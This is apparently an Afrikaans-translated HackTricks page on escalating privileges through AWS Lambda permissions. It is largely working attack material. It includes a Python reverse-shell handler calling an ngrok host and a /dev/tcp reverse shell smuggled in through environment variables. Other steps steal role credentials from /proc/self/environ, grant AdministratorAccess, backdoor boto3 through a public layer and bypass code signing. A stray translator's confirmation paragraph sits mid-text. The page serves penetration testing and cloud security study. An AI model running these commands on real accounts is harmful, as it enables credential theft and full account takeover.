AWS - Lambda Privesc

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

lambda

Meer inligting oor lambda in:

AWS - Lambda Enum

iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)

Gebruikers met die iam:PassRole, lambda:CreateFunction, and lambda:InvokeFunction permissies kan hul voorregte eskaleer.
Hulle kan ’n nuwe Lambda function skep en dit ’n bestaande IAM role toewys, waardeur die funksie die permissies kry wat met daardie rol geassosieer is. Die gebruiker kan dan kode skryf en oplaaI na hierdie Lambda function (byvoorbeeld met ’n rev shell).
Sodra die funksie ingestel is, kan die gebruiker die uitvoering daarvan trigger en die beoogde aksies laat plaasvind deur die Lambda function via die AWS API aan te roep. Hierdie benadering laat die gebruiker effektief toe om take indirek deur die Lambda function uit te voer, met die vlak van toegang wat aan die geassosieerde IAM role verleen is.\

’n aanvaller kan dit misbruik om ’n rev shell en die token te steel:

import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
# Zip the rev shell
zip "rev.zip" "rev.py"

# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip

# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL

# List roles
aws iam list-attached-user-policies --user-name <user-name>

Jy kan ook abuse the lambda role permissions vanaf die lambda function self.
As die lambda role genoeg permissions gehad het, kon jy dit gebruik om admin rights aan jouself toe te ken:

import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response

Dit is ook moontlik om die lambda se role credentials te leak sonder ’n eksterne verbinding. Dit sal nuttig wees vir Network isolated Lambdas wat op interne take gebruik word. As daar onbekende security groups is wat jou reverse shells filter, sal hierdie stuk kode jou toelaat om die credentials direk as die output van die lambda te leak.

def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt

Potensiële impak: Direkte privesc na die ewekansige lambda-diensrol wat gespesifiseer is.

Caution

Let wel: alhoewel dit interessant mag lyk, lambda:InvokeAsync laat nie op sigself toe om aws lambda invoke-async uit te voer nie — jy benodig ook lambda:InvokeFunction

iam:PassRole, lambda:CreateFunction, lambda:AddPermission

Soos in die vorige scenario, kan jy verleen jouself die lambda:InvokeFunction toestemming as jy die toestemming lambda:AddPermission het.

# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"

Potensiële impak: Direkte privesc na die arbitrêre Lambda diensrol wat gespesifiseer is.

iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping

Gebruikers met iam:PassRole, lambda:CreateFunction, and lambda:CreateEventSourceMapping permissies (en moontlik dynamodb:PutItem en dynamodb:CreateTable) kan indirek escalate privileges selfs sonder lambda:InvokeFunction.
Hulle kan ’n Lambda function met kwaadaardige code skep en dit ’n bestaande IAM role toewys.

In plaas daarvan om die Lambda direk aan te roep, stel die gebruiker ’n bestaande DynamoDB tabel op of gebruik dit, en koppel dit aan die Lambda deur ’n event source mapping. Hierdie opstelling verseker dat die Lambda function outomaties getrigger word wanneer ’n nuwe item in die tabel ingevoeg word, hetsy deur die gebruiker se aksie of ’n ander proses, en roep sodoende die Lambda function indirek aan en voer die kode uit met die permissies van die gegewe IAM role.

aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip

Indien DynamoDB reeds aktief is in die AWS-omgewing, hoef die gebruiker slegs die event source mapping vir die Lambda-funksie op te stel. Indien DynamoDB egter nie in gebruik is nie, moet die gebruiker ’n nuwe tabel skep met streaming aangeskakel:

aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES

Nou is dit moontlik om die Lambda function aan die DynamoDB table te koppel deur ’n event source mapping te skep:

aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST

Met die Lambda-funksie wat aan die DynamoDB stream gekoppel is, kan die aanvaller indirek die Lambda uitlok deur die DynamoDB stream te aktiveer. Dit kan bereik word deur ’n item in te voeg in die DynamoDB table:

aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}

Potential Impact: Direkte privesc na die gespesifiseerde lambda service role.

lambda:AddPermission

’n attacker met hierdie toestemming kan homself (of ander) enige permissions toeken (dit genereer resource based policies om toegang tot die resource te verleen):

# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>

# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout

Potensiële impak: Direkte privesc na die lambda diensrol deur toestemming te gee om die kode te wysig en dit uit te voer.

lambda:AddLayerVersionPermission

’n aanvaller met hierdie toestemming kan homself (of ander) die toestemming lambda:GetLayerVersion verleen. Hy kan toegang kry tot die layer en na kwesbaarhede of sensitiewe inligting soek.

# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

Potensiële impak: Potensiële toegang tot sensitiewe inligting.

lambda:UpdateFunctionCode

Gebruikers wat die lambda:UpdateFunctionCode permissie het, het die potensiaal om die kode van ’n bestaande Lambda-funksie wat aan ’n IAM role gekoppel is, te wysig.
Die aanvaller kan die kode van die Lambda wysig om die IAM credentials te exfiltrate.

Alhoewel die aanvaller dalk nie die direkte vermoë het om die funksie te invoke nie, as die bestaande Lambda-funksie reeds in werking is, is dit waarskynlik dat dit deur bestaande workflows of events getrigger sal word, en sodoende indirek die uitvoering van die gewysigde kode fasiliteer.

# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip

# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt

# If not check if it's exposed in any URL or via an API gateway you could access

Potensiële impak: Direkte privesc na die Lambda-diensrol wat gebruik word.

lambda:UpdateFunctionConfiguration

RCE via env variables

Met hierdie permissies is dit moontlik om omgewingsveranderlikes by te voeg wat veroorsaak dat die Lambda arbitrêre kode uitvoer. Byvoorbeeld, in python is dit moontlik om die omgewingsveranderlikes PYTHONWARNING en BROWSER te misbruik om ’n python-proses arbitrêre opdragte te laat uitvoer:

aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"

Vir ander scripting languages is daar ander env variables wat jy kan gebruik. Vir meer inligting, kyk na die subafdelings van scripting languages in:

macOS Process Abuse - HackTricks

RCE via Lambda Layers

Lambda Layers laat jou toe om code in jou lamdba funksie in te sluit, maar dit afsonderlik te stoor, sodat die funksie se code klein kan bly en verskeie funksies code kan deel.

Binne lambda kan jy die paaie nagaan vanwaar python code gelaai word met ’n funksie soos die volgende:

import json
import sys

def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))

Hierdie is die plekke:

  1. /var/task
  2. /opt/python/lib/python3.7/site-packages
  3. /opt/python
  4. /var/runtime
  5. /var/lang/lib/python37.zip
  6. /var/lang/lib/python3.7
  7. /var/lang/lib/python3.7/lib-dynload
  8. /var/lang/lib/python3.7/site-packages
  9. /opt/python/lib/python3.7/site-packages
  10. /opt/python

Byvoorbeeld, die biblioteek boto3 word gelaai vanaf /var/runtime/boto3 (4de posisie).

Exploitation

Dit is moontlik om die toestemming lambda:UpdateFunctionConfiguration te misbruik om ’n nuwe layer by te voeg by ’n lambda-funksie. Om ewekansige kode uit te voer, moet hierdie layer ’n biblioteek bevat wat die lambda gaan importeer. As jy die kode van die lambda kan lees, kan jy dit maklik vind. Let ook daarop dat dit moontlik is dat die lambda al ’n layer gebruik en jy die layer kan aflaai en jou kode daar kan byvoeg.

Byvoorbeeld, stel ons dat die lambda die biblioteek boto3 gebruik — dit sal ’n plaaslike layer skep met die nuutste weergawe van die biblioteek:

pip3 install -t ./lambda_layer boto3

Jy kan ./lambda_layer/boto3/__init__.py oopmaak en add the backdoor in the global code (byvoorbeeld ’n funksie om exfiltrate credentials of om ’n reverse shell te kry).

Dan, zip daardie ./lambda_layer gids en upload the new lambda layer in jou eie account (of in die slagoffer s’n, maar jy mag dalk nie toestemming daarvoor hê nie).
Let wel dat jy ’n python folder moet skep en die libraries daar moet plaas om /opt/python/boto3 te override. Ook moet die layer kompatibel met die python-weergawe wees wat deur die lambda gebruik word, en as jy dit na jou account upload, moet dit in die dieselfde regio:

aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

Nou, maak die opgelaaide lambda layer vir enige rekening toeganklik:

aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *

En koppel die lambda layer aan die victim lambda function:

aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells

Die volgende stap sou wees om óf self die roep die funksie aan as ons kan of te wag totdat it aangeroep word op normale wyse–wat die veiliger metode is.

A more stealth way to exploit this vulnerability kan gevind word in:

AWS - Lambda Layers Persistence

Potensiële impak: Direk privesc na die gebruikte lambda service role.

iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl

Miskien met daardie permissies kan jy ’n funksie skep en dit uitvoer deur die URL aan te roep… maar ek kon nie ’n manier vind om dit te toets nie, so laat weet my as jy dit wel doen!

Lambda MitM

Sommige lambdas gaan sensitiewe info van gebruikers in parameters ontvang. As jy RCE kry in een daarvan, kan jy die info wat ander gebruikers daaraan stuur exfiltrate; kyk daarvoor in:

AWS - Lambda Steal Requests

Verwysings

lambda:DeleteFunctionCodeSigningConfig or lambda:PutFunctionCodeSigningConfig + lambda:UpdateFunctionCode — Bypass Lambda Code Signing

If a Lambda function enforces code signing, an attacker who can either remove the Code Signing Config (CSC) or downgrade it to Warn can deploy unsigned code to the function. This bypasses integrity protections without modifying the function’s IAM role or triggers.

Permissions (one of):

  • Path A: lambda:DeleteFunctionCodeSigningConfig, lambda:UpdateFunctionCode
  • Path B: lambda:CreateCodeSigningConfig, lambda:PutFunctionCodeSigningConfig, lambda:UpdateFunctionCode

Aantekeninge:

  • Vir Path B, jy benodig nie ’n AWS Signer profile as die CSC policy op WARN gestel is (unsigned artifacts allowed).

Stappe (REGION=us-east-1, TARGET_FN=):

Berei ’n klein payload voor:

cat > handler.py <<'PY'
import os, json
def lambda_handler(event, context):
return {"pwn": True, "env": list(os.environ)[:6]}
PY
zip backdoor.zip handler.py

Pad A) Verwyder CSC en werk dan die code by:

aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
if [ "$HAS_CSC" -eq 1 ]; then
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION
fi
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION

Pad B) Degradeer na Warn en werk die kode by (as delete nie toegelaat is nie):

CSC_ARN=$(aws lambda create-code-signing-config \
--description ht-warn-csc \
--code-signing-policies UntrustedArtifactOnDeployment=WARN \
--query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION)
aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION

Bevestig: Ek sal die relevante Engelse teks uit die aangeduide README.md na Afrikaans vertaal en presies dieselfde markdown- en HTML-sintaksis behou. Ek sal nie code, tegniekname, algemene hacking-woorde, cloud/SaaS-platvormname (bv. Workspace, aws, gcp), die woord “leak”, pentesting, skakels, paadjies of enige merkers/tags (bv. {#tabs}, {#ref}, {#include}) vertaal of verander nie. Ek sal geen ekstra inhoud byvoeg nie.

aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
cat /tmp/out.json

Potensiële impak: Vermoë om arbitrary unsigned code in ’n funksie te push en run wat veronderstel was om signed deployments af te dwing, wat moontlik kan lei tot code execution met die function role’s permissions.

Opruiming:

aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks